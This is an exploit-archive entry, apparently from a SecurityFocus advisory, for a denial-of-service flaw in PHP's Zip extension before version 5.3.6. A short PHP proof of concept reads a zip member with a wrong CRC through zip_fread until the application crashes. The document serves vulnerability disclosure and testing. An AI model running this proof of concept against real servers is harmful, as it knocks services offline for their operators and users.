PHP < 5.3.6 'Zip' Extension - 'zip_fread()' Denial of Service
source: https://www.securityfocus.com/bid/46975/info PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension. Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed. Versions prior to PHP 5.3.6 are vulnerable. <?php $o = new ZipArchive(); if (! $o->open('test.zip',ZipArchive::CHECKCONS)) { exit ('error can\'t open'); } $o->getStream('file2'); // this file is ok echo "OK"; $r = $o->getStream('file1'); // this file has a wrong crc while (! feof($r)) { fread($r,1024); } echo "never here\n"; ?> |